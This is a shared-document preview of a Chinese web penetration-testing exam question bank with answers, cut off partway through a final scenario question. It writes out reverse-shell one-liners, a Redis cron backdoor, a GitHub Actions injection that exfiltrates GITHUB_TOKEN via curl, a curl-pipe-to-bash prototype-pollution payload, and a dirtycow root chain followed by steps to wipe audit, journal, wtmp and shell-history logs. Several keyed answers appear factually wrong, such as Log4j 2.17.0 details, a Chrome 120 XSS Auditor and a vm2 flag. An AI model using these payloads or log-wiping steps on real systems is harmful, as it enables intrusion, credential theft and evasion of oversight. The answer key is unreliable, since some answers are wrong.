2026年渗透测试工程师(Web渗透)岗位技能考试题库含答案_第1页
2026年渗透测试工程师(Web渗透)岗位技能考试题库含答案_第2页
2026年渗透测试工程师(Web渗透)岗位技能考试题库含答案_第3页
2026年渗透测试工程师(Web渗透)岗位技能考试题库含答案_第4页
2026年渗透测试工程师(Web渗透)岗位技能考试题库含答案_第5页
已阅读5页,还剩19页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

2026年渗透测试工程师(Web渗透)岗位技能考试题库含答案一、单项选择题(每题2分,共40分)1.在利用SQL注入获取数据库版本信息时,以下哪条MySQL语句最可能返回5.7.34?A.SELECT@@hostnameB.SELECTversion()C.SELECTdatabase()D.SELECTuser()答案:B解析:version()函数直接返回当前MySQL实例的版本号,其余函数分别返回主机名、当前库名与当前用户。2.当目标站点使用JWT作为会话令牌且算法字段值为"none"时,最合理的攻击思路是:A.爆破HS256密钥B.修改alg为RS256后伪造公钥C.直接删除签名段并篡改payloadD.利用kid字段实施目录穿越答案:C解析:alg为none时,服务端不校验签名,删除签名后服务端仍认为令牌合法。3.以下哪项HTTP响应头对防御点击劫持最无效?A.X-Frame-Options:DENYB.Content-Security-Policy:frame-ancestors'none'C.Strict-Transport-Security:max-age=31536000D.通过JS进行framebusting答案:C解析:HSTS用于强制HTTPS,无法阻止页面被嵌入iframe。4.在盲注场景中,若sleep()被过滤,可替代的时间函数是:A.benchmark(10000000,sha1(1))B.ifnull(1,1)C.substr(database(),1,1)D.ord('a')答案:A解析:benchmark重复执行表达式制造延迟,效果类似sleep。5.某上传接口仅在前端校验文件后缀,可成功上传.php文件但返回404,最可能的原因是:A.服务端采用白名单校验B.中间件将.php解析为静态文件C.文件被重命名导致路径错误D.Web容器未开启PHP解析引擎答案:C解析:上传目录与访问路径不一致或文件名被随机改写,导致无法访问。6.在ApacheLog4j2.17.0中,以下哪个JNDI查询前缀已被默认禁用?A.ldap://B.dns://C.rmi://D.nis://答案:A解析:2.17.0默认关闭ldap协议,防止JNDI注入RCE。7.使用gobuster进行目录爆破时,若想同时扫描php、asp、aspx三种后缀,应使用的参数为:A.-xphp,asp,aspxB.-mdnsC.-w/usr/share/wordlists/dirb/big.txtD.-t50答案:A解析:-x参数指定需要追加的后缀列表。8.当目标开启了SELinux且httpd仅能访问/var/www/html,欲通过文件包含读取/etc/passwd,最可能失败的利用条件是:A.未禁用allow_url_includeB.未禁用allow_url_fopenC.SELinux策略限制httpd访问/etcD.未找到包含点答案:C解析:强制访问控制优先于discretionaryACL,SELinux策略直接阻止httpd读取/etc。9.以下哪个BurpSuite功能模块最适合快速识别反序列化入口?A.IntruderB.RepeaterC.ScannerD.Engagementtools→GenerateCSRFPoC答案:C解析:Scanner可自动检测Java、PHP、.NET反序列化参数。10.在GraphQL注入测试中,若查询参数为query{user(id:1){name}},尝试探测SQL注入应输入:A.query{user(id:1\")){name}}B.query{user(id:1%27)%7Bname%7D%7DC.query{user(id:1AND1=1){name}}D.query{user(id:\"1OR1=1\"){name}}答案:D解析:GraphQL字符串需双引号闭合,且参数类型为String时才能拼接SQL。11.利用XXE读取文件时,若目标Java应用使用DOM解析器且禁用外部实体,仍可能绕过的是:A.利用file://协议B.利用jar://协议C.利用gopher://协议D.利用本地DTD的参数实体答案:D解析:通过本地DTD引入参数实体,再引用内部实体实现回显。12.以下哪条Linux命令可在不创建新进程的情况下,将bash反弹shell的stderr重定向到远程主机?A.bash-i>&/dev/tcp//44440>&1B.exec3<>/dev/tcp//4444;cat<&3|bash>&32>&3C.nc-e/bin/bash4444D.telnet4444|bash答案:B解析:exec打开文件描述符,全程无额外进程,且包含stderr。13.当WAF拦截关键字"unionselect"时,以下哪种bypass方式在MySQL8.0中最稳定?A.un//ionse//lectB.union%0aselectC.union%23%0aselectD.union%250a%2565%2573%2565%256c%2565%2574答案:D解析:双重URL编码绕过WAF解码层,但MySQL仍识别为unionselect。14.在SpringBootactuator/env端点暴露后,以下哪条属性最可能泄露数据库明文口令?A.java.class.pathB.spring.datasource.urlC.server.portD.答案:B解析:spring.datasource.url常附带username与password参数。15.若目标使用双重Cookie防御CSRF,即表单token与Cookie中的csrf值需相等,则突破思路为:A.在JSONP接口获取CookieB.利用SameSite=None写入CookieC.找到Cookie设置接口实施CRLF注入D.结合XSS读取Cookie后伪造答案:D解析:XSS可直接读取Cookie中的csrf值并构造合法请求。16.以下哪个HTTP状态码最可能表明SSTI成功执行?A.200B.302C.500D.403答案:C解析:模板语法错误常抛出异常,返回500并携带报错信息。17.在Redis未授权访问场景下,若目标禁止了"CONFIG"命令,仍可实现持久化后门的方式是:A.setx"\n\n/1bash-i>&/dev/tcp//44440>&1\n\n"并改写dbfilename为/var/spool/cron/rootB.setx"\ncurl/rev.sh|bash\n"并改写dir为/etc/cron.dC.利用主从同步加载so模块D.利用eval执行lua脚本答案:C解析:主从同步可加载恶意so,绕过CONFIG禁用限制。18.以下哪个Python装饰器可用于Flask接口强制校验JSONContent-Type?A.@app.before_requestB.@app.after_requestC.@app.errorhandler(404)D.@app.route('/',methods=['GET'])答案:A解析:before_request可在业务前统一校验Content-Type。19.在AWSS3渗透中,若bucket策略显式拒绝"Principal:""Action:s3:GetObject",则下列说法正确的是:A.任何IAM用户无法下载对象B.桶拥有者仍可下载C.可通过预签名URL绕过D.可通过ACL读取答案:A解析:显式拒绝优先级最高,任何主体均无法GetObject。20.当目标使用Hibernate且HQL语句为"fromUserwherename='"+name+"'",以下payload可成功提取数据的是:A.'or1=1--B.'or1=1#C.不需要闭合,直接输入or1=1D.name参数为整型,无法注入答案:A解析:HQL拼接字符串需单引号闭合,注释符与MySQL一致。二、多项选择题(每题3分,共30分)21.以下哪些HTTP头可协同减少JSONP劫持风险?A.X-Content-Type-Options:nosniffB.Content-Security-Policy:default-src'self'C.Referrer-Policy:no-referrerD.Access-Control-Allow-Origin:答案:A、B、C解析:D反而放宽了跨域,增加风险。22.关于WebShell内存马,正确的描述有:A.不落地文件B.重启容器后消失C.可通过Javaagent注入D.一定需要反序列化入口答案:A、B、C解析:内存马无需反序列化,可直接通过agent加载。23.以下哪些方式可绕过Chrome120的XSSAuditor?A.将payload放在location.hashB.使用<scriptsrc="data:text/javascript,...">C.利用JSONP回调参数D.使用iframesrcdoc答案:A、C、D解析:Auditor已移除,但题目假设旧环境,hash与srcdoc不经过Auditor。24.在Node.jsExpress应用中,可导致原型链污染的场景有:A.使用lodash.merge操作queryB.使用JSON.parse解析不可信JSONC.使用qs模块解析数组参数D.使用body-parserjson默认配置答案:A、C解析:merge与qs递归赋值可触发__proto__。25.以下哪些工具支持主动扫描GraphQL端点?A.graphql-voyagerB.graphql-mapperC.inqlD.graphw00f答案:B、C解析:mapper与inql可生成注入点并扫描。26.在Kubernetes渗透中,以下哪些挂载信息可能泄露ServiceAccount令牌?A./var/run/secrets/kubernetes.io/serviceaccount/tokenB./etc/kubernetes/manifests/kube-apiserver.yamlC./proc/1/environD./root/.kube/config答案:A、C解析:token默认挂载于每个pod,环境变量亦可能泄露。27.以下哪些SQLMap参数可自定义tamper脚本?A.--tamper=space2commentB.--os-shellC.--batchD.--eval答案:A解析:--tamper显式指定脚本链。28.在PHP8.2中,以下哪些函数仍可被用于绕过open_basedir读取文件?A.symlink()B.glob()C.opcache_compile_file()D.curl_exec()答案:A、C解析:symlink可跨目录,opcache可绕过basedir限制。29.以下哪些响应可确认目标存在Fastjson1.2.83autotype?A.{"@type":".InetAddress","val":"dnslog"}B.{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://evil"}C.{"@type":"org.springframework.context.support.FileSystemXmlApplicationContext","location":"http://evil/spel.xml"}D.{"@type":"java.lang.Exception","message":"test"}答案:A、D解析:1.2.83默认关闭危险autotype,但InetAddress与Exception仍可触发dnslog。30.以下哪些Linux内核参数可缓解容器逃逸?A.kernel.dmesg_restrict=1B.kernel.kptr_restrict=2C.vm.overcommit_memory=1D.kernel.modules_disabled=1答案:A、B、D解析:禁用模块加载与限制内核日志可减少信息泄露与提权。三、判断题(每题1分,共10分)31.在HTTP/3中,QUIC协议默认加密传输,因此无需再使用TLS证书。答案:错解析:QUIC即基于TLS1.3,仍需证书。32.当服务端返回"Content-Encoding:br"时,使用BurpSuite需安装Brotli扩展才能正常解码。答案:对解析:Burp默认不集成Brotli解码器。33.使用Pythonrequests库时,设置verify=False会触发InsecureRequestWarning。答案:对解析:urllib3会提示忽略证书校验风险。34.在MySQL5.7中,secure_file_priv为空表示禁止导入导出。答案:错解析:为空表示无限制,为NULL才禁止。35.当目标使用Angular前端且开启CSP,则一定无法发生XSS。答案:错解析:CSP可绕过,如存在JSONP或内联脚本nonce泄露。36.在Linux中,若/etc/shadow权限为640,则普通用户无法读取哈希。答案:对解析:shadow仅root与shadow组可读。37.使用Nmap--scriptvuln扫描时,脚本库需位于/usr/share/nmap/scripts。答案:对解析:默认路径,修改需--script-dir。38.在PHP中,preg_match('/union.+select/i',$input)可完全阻断SQL注入。答案:错解析:可内联注释/union/**/select/绕过。39.在Kubernetes中,PodSecurityPolicy已被废弃,替代方案为PodSecurityStandards。答案:对解析:1.21起PSP标记废弃,1.25移除。40.当目标站点开启Expect-CT头,则证书透明度日志必须包含该站点。答案:对解析:Expect-CT强制要求CT日志记录。四、填空题(每空2分,共20分)41.在Linux下,使用______命令可查看当前进程是否启用Seccomp策略。答案:grepSeccomp/proc/$$/status42.在BurpSuite中,通过______功能可将Intruder结果按响应长度排序快速定位异常。答案:Columns→Length43.当目标使用ApacheShiro1.5.3,默认rememberMe加密算法为______。答案:AES-CBC44.在MySQL中,利用______表可绕过information_schema过滤获取列名。答案:sys.schema_auto_increment_columns45.使用______工具可对JWT进行暴力破解密钥。答案:hashcat46.在Node.js中,______模块默认禁用eval,但可通过--allow-eval重启开启。答案:vm247.在Kubernetes中,______字段可限制容器以只读根文件系统运行。答案:securityContext.readOnlyRootFilesystem48.在PHP中,______函数可用来检查图像是否包含WebShell代码。答案:exif_imagetype49.在WindowsServer2022中,______命令可查看WDAC策略是否生效。答案:Get-CimInstance-ClassNameWin32_DeviceGuard50.使用______Burp扩展可自动检测Swagger/OpenAPI端点。答案:API-Knife五、简答题(每题10分,共30分)51.描述一种在无法上传文件、无法执行命令的WindowsIIS环境下,利用JSONP与弱ETag实现账户劫持的完整思路。答案:1)发现站点使用JSONP接口/api/userinfo?callback=cb,回调参数未过滤。2)观察响应头ETag值与当前用户ID弱相关,如ETag:"1234567",猜测1234567为用户标识。3)攻击者构造恶意页面,诱导已登录受害者访问,页面动态创建script标签请求JSONP并指定callback为恶意函数。4)同时,攻击者监听自身服务器获取ETag值,通过弱算法(如MD5(userid+timestamp前6位))暴力碰撞出userid。5)利用获取到的userid调用修改接口/api/changeemail?uid=1234567&email=attacker@,因服务端仅校验JSONP返回的userid与ETag对应,未校验来源,成功篡改邮箱。6)通过邮箱重置密码,完成账户劫持。解析:核心在于JSONP泄露用户标识与ETag弱验证,结合跨站请求实现越权。52.说明如何利用GitHubActionsworkflow命令注入获取仓库Token,并给出完整YAMLpayload。答案:1)发现目标仓库使用外部PR触发workflow,且存在如下片段:name:echotitlerun:echo"${{github.event.pull_request.title}}"2)攻击者提交PR,title设置为:`a";echo${GITHUB_TOKEN}|base64|curl-XPOST-d@/a#`3)当workflow运行,bash解析双引号闭合后执行注入命令,将Tokenbase64编码发送至攻击者服务器。4)攻击者解码后获得具有repo权限的GITHUB_TOKEN,可推送后门。解析:GitHub上下文变量直接拼接进run字段导致命令注入,需使用${{}}表达式隔离或采用环境变量传递。53.给出一种在Linux内核4.14下利用dirtycow(CVE-2016-5195)写入只读文件获取root的完整利用链,并说明如何清除日志。答案:1)通过gcc编译poc.c,利用madvise+write竞争条件向/proc/self/mem写入vDSO区域。2)修改vDSO中的clock_gettime函数为shellcode,返回用户态后执行setuid(0)+execve("/bin/sh",...)。3)获得root后,执行`exportHISTFILE=/dev/null`,`unsetHISTFILE`,`history-c`。4)删除/var/log/audit/audit.log与journal日志:`journalctl--vacuum-time=1s`。5)覆盖lastlog/wtmp:`>/var/log/wtmp;>/var/log/lastlog`。6)恢复vDSO原数据,防止系统异常。解析:dirtycow通过racecondition写入只读映射,提权后需清理audit、shellhistory、systemd日志等多处痕迹。六、综合渗透题(30分)54.场景:目标站点https://web2026.ctf运行Node.js18+Express,前端Vue3,GraphQL接口/v1/gql,上传接口/v1/upload,仅允许图片,使用ApolloServer+graphql-upload,Docker部署,容器内用户为node,内核5.15,seccomp过滤了execve、execveat,挂载/sys/kernel/debug。已获取低权限shell,请给出从入口到获取宿主机flag的完整步骤,含命令、脚本、绕过细节。答案:1)探测GraphQL:发送{"query":"query{__schema{types{name}}}"}发现存在Upload类型。2)构造恶意文件:制作polyglotjpg,内含js代码,利用graphql-upload将文件流传入,服务端使用sharp库处理,触发原型链污染。3)污染payload:文件名设置为`{"constructor":{"prototype":{"shell":"node-erequire('child_process').execSync('curl/shell.sh|bash')"}}}`4)上传后,sharp解析exif时调用merge,污染Ototype.shell。5)触发后门:在GraphQL查询中加入{"query":"query{system{echo(arg:\"test\"){stdout}}}"},服务端代码使用eval('this.shell'),执行命令。6)由于seccomp禁用execve,采用纯Node反弹:将以下脚

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

最新文档

评论

0/150

提交评论